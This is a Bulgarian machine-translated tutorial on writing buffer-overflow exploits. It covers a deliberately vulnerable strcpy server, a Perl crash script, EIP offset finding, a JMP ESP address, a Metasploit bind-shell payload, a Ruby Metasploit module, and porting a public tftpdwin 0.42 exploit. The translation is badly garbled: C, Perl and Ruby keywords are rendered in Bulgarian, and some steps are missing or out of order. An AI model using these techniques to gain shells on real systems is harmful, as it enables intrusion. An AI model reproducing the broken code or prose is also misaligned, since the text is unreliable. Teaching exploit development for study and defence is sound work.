Фабрика sploitov се научат да пишат експлойти за Metasploit рамка

Къде sploitov? Мислили ли сте за това, как тъпа новини от
Bugtraq се превръща в работа декодер? Какво ще кажете за две дузини






реда код, могат да получат черупка на отдалечен сървър? Днес ще посетим
sploitov фабрика и всички детайли изглеждат като направени
качествен продукт.

Sploit - какъв звяр
е толкова необичайно? В действителност, тази програма е написана с цел ползване
уязвимости - OS, обичайната програма или уеб приложение. То може да бъде
от самата нещо - например програма в C / C ++ (Delphi, ASM), skriptik в Perl или PHP,
или дори да присъства на снимката, но важното е, че това се отразява на уязвимите
система и да работи така, както е програмиран. отдалечен
експлоатира работи по мрежата и експлоатира уязвимостта без никакво
преди достъп до уязвимата система. Местна sploitov същата серия
директно към засегнатата система, което изисква предварително достъп до и
обикновено се използва за повишаване на привилегиите.

Sploitov могат да бъдат разделени в зависимост от вида, използван от уязвимостта: препълване буфер,
SQL инжектиране, скриптове между сайтове и т.н. С една дума, видът е
много и всяка от тях е различна като техника на изпълнение, както и нейната цел. но
в тях имат едно общо нещо - всички те съдържат код, който изпълнява замислена хакер
действия. Този код се нарича: байткод, код черупка (както много често този код
Чрез Shelley осигурява достъп до системата за дистанционно), полезност (борба) натоварване
(Полезен товар). Писане такъв код - изкуство. Ако искате да се разбере
тази област, предлагам да започнем с Step'a статия "Как
взето shellcode. "Ние разглеждаме процеса на писане на използване и shellcode
вземе готов пакет от Metasploit.

Писане жертва за експерименти

Аз съм убеден, че няма по-видими начин да се демонстрира създаването на бойна
Код от конкретен пример. Така че нека да започнем с играта в планинските-програмисти
navayal малко приложение, сървър, оставяйки го в критична уязвимост,
което ще бъде извършен. Приложението ще приема връзки на
определен порт, веднага след като някои пакет ще се нарича функция,
изпълнява някои действия с данните, получени и прилагането
завършена. скелет приложение е показано по-долу:

нищожен PR (Чар * ул)
овъгляване Buf [500] = "";
strcpy (Buf, ул); // тук е уязвимостта, лично
>

Int основна (междинно argc, овъгляване ** argv)
.
Int bytesRecv = SOCKET_ERROR;
докато (bytesRecv == SOCKET_ERROR)
// Получаване на данните, изпратени от клиента
bytesRecv = Получ (clientSocket, съобщение, 5000, 0);

ако (bytesRecv == 0 || bytesRecv == WSAECONNRESET)
ФОРМАТ ( "\ nConnection Затворен \ н.");
прекъсване;
>
>

PR (ЛС); // извикате функцията, която не се провери, ако дължината на входния буфер
копиране

closesocket (clientSocket);
closesocket (ServerSocket);
WSACleanup ();
връщане 0;
>

Внимателно разглеждане на кода, можете да видите, че про функцията нищожен (Чар ул *) не
проверява дължината на входния буфер, и ако тя преминава като параметър линията
по-дълъг от 500 знака - за да получите класически препълване буфер. всички
накратко за това как тя работи (там ще трябва да си спомня как стека):

PUSH EDI // сложи показалеца стека на буфера, който ще се копира
(* Ул)
CALL Server._pr // наричаме функция PF

След като нарече стека обаждането ще изглежда така:

Под променлива Buf ние разпределени 500 байта. И какво се случва, ако копирате
да низ по-дълго?

Убийте на място!

Сървърът върви гладко, докато той не разполага с низ, състоящ се от повече
от 500 символа. В противен случай - определено се срине приложението. скицира
малки skriptik на Perl за извършване на препълване на буфера:

използването на строг режим;
използва цокъл;
ми $ боклуци = "\ x41" x1000;

# Извършва задължителен
ми $ iaddr = inet_aton ($ домакин);
ми $ paddr = sockaddr_in ($ порт, $ iaddr);

печат "[+] Създаване гнездо \ Н";
# Създаване на гнездо и се присъединете към пристанище
гнездо (сокет, PF_INET, SOCK_STREAM, $ прото) или да умрат "гнездо: $!";
печат "[+] Свързване с $ домакин на порт $ пристанище \ Н";
свържете (сокет, $ paddr) или да умрат "свързване: $!";

печат "[+] Изпращане полезен товар \ п";
печат ГНЕЗДО $ боклуци "\ Н" .;

печат "[+] полезен товар изпратен \ Н";

близо ГНЕЗДО или умри "близо: $!";

Ние използваме Metasploit да развиват експлоатира

И в сценария на мястото на стойността на променливата $ боклуци по-горе
последователност. Повторно стартиране на нашия уязвими сървър, се свърже с него в
OllyDbg и стартирайте подвиг. Сървър отново се срива. Е, нека да погледнем, че
Този път се оказа, че EIP регистрирам? EIP = 41387141. За да определи отместването
знаци в низ, използвайте друг полезност от Metasploit -
pattern_offset, преминаваща в необходимите параметри, размера и дължината на буфера:

И на мястото на реда с код, който изпраща генерирания низ към гнездото, за да:

печат ГНЕЗДО $ боклуци $ eipoverwrite $ junk2 "\ Н" ...;

0040130B: ОБАДЕТЕ 00404351

[Buf] [ЕВР] [задържане] [предишния пакет рамка]

преса (Преминаване към следващата инструкция) и обърнете внимание на промените в стека:

[Buf] [ЕВР] [задържане] [предишния пакет рамка]
[AAAAAAAA] [BBB] [CCCCCCCC ...]

Сега нека да разгледаме функциите на край ПФ:







00401313 POP EDI
00401314 POP ESI
00401315 ОТПУСК
00401316 на забавяне

Когато се обадите на командата ОТПУСК, се случва следното:

Findjmp2.exe ws2_32.dll ESP
Сканиране ws2_32.dll за код използваема с регистъра на ESP
0x71AB9372 натиснете особено - на задържане
Завършен Сканиране ws2_32.dll за код използваема с регистъра на ESP
Намерени 1 използваеми адреси

Остава само да се създаде shellcode. Както вече казах, трябва да се представи sploitov
едно важно изискване - то не трябва да съдържа нулеви байтове. програмата
копирани низ, и ако да отговарят на "0", то ще бъде интерпретирано като в края на линията.
Съответно, останалата част от линията не се копира, и кодът на непълна черупки,
разбира се, че няма да работи. При създаването на shellcode също ще го
Metasploit и конзола интерфейс за рамка за управление. Така че, стартирайте
Конзолата инструменти / msfconsole и въведете следното:

MSF> Използвайте прозорци / shell_bind_tcp // ще използват тази полезен товар
MSF полезен товар (shell_bind_tcp)> набор LPORT 5555 // определя стойността на порт
отдалечена машина
LPORT => 5555

С командата "генерира -h" погледнете опциите, които можете да определите за
генерират shellcode:

  • - списък на символи, които трябва да бъдат изключени от shellcode;
  • - име на файла, където се съхранява кода на обвивката;
  • - тип на shellcode: рубин, Perl, C, или сурови.

Посочете, че е необходимо да се избегне байт '\ x00 \ xff ", генериране на код за и Perl'a
запишете резултатите в C: \\ shellcode.bin:

MSF полезен товар (shell_bind_tcp)> генерира Ь '\ X00 \ xff' -f C: \\ shellcode.bin
-т Perl
[*] Писане 1747 байта до C: \ shellcode.bin.

Сега, като кодът на черупка, че е време да се съберат в пълна степен
експлоатират. Единственото нещо - трябва да се помни няколко неща:

низ изпраща на сървъра ще бъде конфигурирана, както следва:

Накрая низ изпраща на контакта:

// и изпращане отровна низ към сървъра
печат ГНЕЗДО $ боклуци $ eipoverwrite $ shellcode "\ Н" ...;

Тогава sploite се опитва да установи връзка с отдалечена машина в
5555 порт, който посочи, при генериране shellcode:

система ( "телнет $ домакин 5555");

Подвиг да Metasploit

Така че, ние сме sploit за конкретна платформа с добре дефинирана
товар, на откриването в системата на черупка. Тогава защо всеки
специална платформа за създаване sploitov ако ние сме напълно силите на разходите
сам Perl? Причината за това е, че Metasploit осигурява богатство
брой парчета, различни реализации на протоколите, един от най-големите бази данни
код черупка, полезен товар S-, които можете да използвате при писане собствения си
експлоатират. Вместо окаян Perl скрипт можете да пишете на модул за Metasploit,
и след това да го изпълните на всяка платформа и полезен товар изберете по свой вкус!
Чуваш ли разликата? Аз предлагам сега да подобрим нашето sploit пренаписване
то на Metasploit, и да видим как тя работи. Разбира се, че ще бъде
имате възможността да изберете платформа за атака, и можете да изберете peyload
надясно по време на изпълнението на атака.

Sploitov всяка функционалност е описано с помощта на клас където
настройки се задават с помощта на параметрите и функционалност - с помощта на методи.
Създаден обект е наследен от някой от готовите класове. като
ние създаваме дистанционно sploit, то нашият обект наследи от родителския клас
"Remote използват." Синтаксисът на Руби се извършва, както следва:

клас Metasploit3

Metasploit големи заслуги е, че тя обединява голям брой
параметри и действия, позволяващи използването на готови проекти отново и отново.
Първият елемент на разработваната клас - раздел включва, където ние се свърже
манипулатор за желания ни протокол. В Metasploit има работещи за HTTP,
FTP и други протоколи, че е по-лесно да се напише подвизи, а не
притеснявани със собствените си изпълнение. Нашата използват приложения
TCP-връзка, така че кодът ще бъде, както следва:

След това цялата sploit разделен на два метода: първоначален метод, в който
уточни информацията, необходима за успешното изпълнение на експлойта и метода
операция, която изпраща на сървъра отровен ред.

Нека започнем с инициализация. Параметърът определя дължината на полезен товар токсичен буфер и
Невалидни знаци (в нашия случай - 0x00 и 0xff):

"Payload '=>
"Space '=> 1400
"BadChars '=>" \ x00 \ xff ",
>

Def експлоатира
свържете

боклуци = make_nops (прицелна [ 'Отместване'])
sploit = ​​боклуци + [target.ret] .pack ( "V") + make_nops (50) + payload.encoded
sock.put (sploit)

секундант
прекъсване на връзката
край

Това е то за първата ни Metasploit модул е ​​готов! Това може да бъде
да се използва, за копиране на изходния код в модула / експлойти / тест папка (ако не ви харесва
тест - може да се копира на прозорци / Други, например). Бягай и msfconsole
работа в интерактивна конзола Metasploit'a!

Подвиг за 5 минути

Както можете да видите, да се разработи използват за Metasplot не е толкова трудно. още повече, че
напротив, защото по-голямата част от работата вече е направено за вас. Вземете най-малко огромна
база код черупка - се опитват да разработят свои собствени. Но мързел няма ограничение за човека,
така че в стремежа си за по-нататъшно опростяване на процеса е разработена комунални услуги пакет
Можете MSF експлоатира Builder. Програмата е с лесен за употреба графичен интерфейс и
Тя помага много бързо да създадете нов модул за Metasploit. с изключение на
приятелски GUI, експлоатира Builder включва цял куп полезни инструменти,
необходимо за тестване и отстраняване на грешки експлоатира. Нещо повече - може отново
създаден от нулата, и пристанище съществуващия sploitov.

Аз предлагам да се предприемат всички използват и използването на MSF експлоатира Builder
го превърне в Metasploit-модул. Може да попитате защо е необходимо да се нас? Отново:
превръщайки го в Metasploit-модул, можем да го използваме във връзка с различни
полезен товар-S. Казано по-просто, това ще го направи по-гъвкави и
различни платформи. Сега се убедих как тази програма може да
за да направят живота по-лесно - вече не е необходимо да се напише и отстраняване на грешки експлойта дори
познаване на Ruby и Metasploit API. Що се отнася до експеримента заек, аз избрах
първото нещо, което се натъкнах - sploit за tftpdwin 0.42 (milw0rm.com/exploits/7452).

Така че ние избираме tftpd.exe, след което програмата ще предложи следното:
да изберете да стартирате приложението, то се движат при корекция на грешки или да не се кандидатира
като цяло - просто стартирате приложението. Забележете, че от дясната страна
показва списък с изтеглени заявление DDL'ek.

ми $ пакет = (($ Р1) ($ nopsled) ($ shellcode) (($ преливник)) ($ задържане) ($ p2) .....);

Всъщност, сега ние имаме всичко, за да се създаде крайния sploitov. следователно
кликнете върху бутона "Generate" и да се полюбувате на получения код sploitov. ако
някои точки са под въпрос, а след това можете да редактирате кода ръчно.
Известни, че е възможно да се тества функционалността на кода наведнъж - че е безопасно да
натиснете бутона "Тест". И това - тя работи! 5 минути, които отидоха
Въведение в програмата, и без никакви познания за това как на езика и структурата Ruby
Metasploit, ние сме създали напълно работеща sploit. Заслужава си! като
домашна работа, опитайте да използвате MSF експлоатира Builder да се създаде използват за
нашия сървър :).

заключение

Това сложи край нашата обиколка на подвизите им по подразбиране. Знаеш ли как да се изгради
sploitov, полезна в много отношения. Не е в състояние да прочете shellcode на открито
експлоатира, или, като цяло, като се започне exe'shnik странно, че не винаги е възможно
доверявате на създателя му. Много sploitov наличен в публични липсващата
части и специално изоставени грешки - това със сигурност ще спрат армията
skriptkidis, но това е малко вероятно да бъде сериозен проблем за разбирането на човека.
Надявам се, че сте убедени, днес, че няма нищо нереално в sploitov: защото
Хакерите души - логично и разбираемо :).

Подробна информация за Metasploit API:

Блог Metasploit Framework: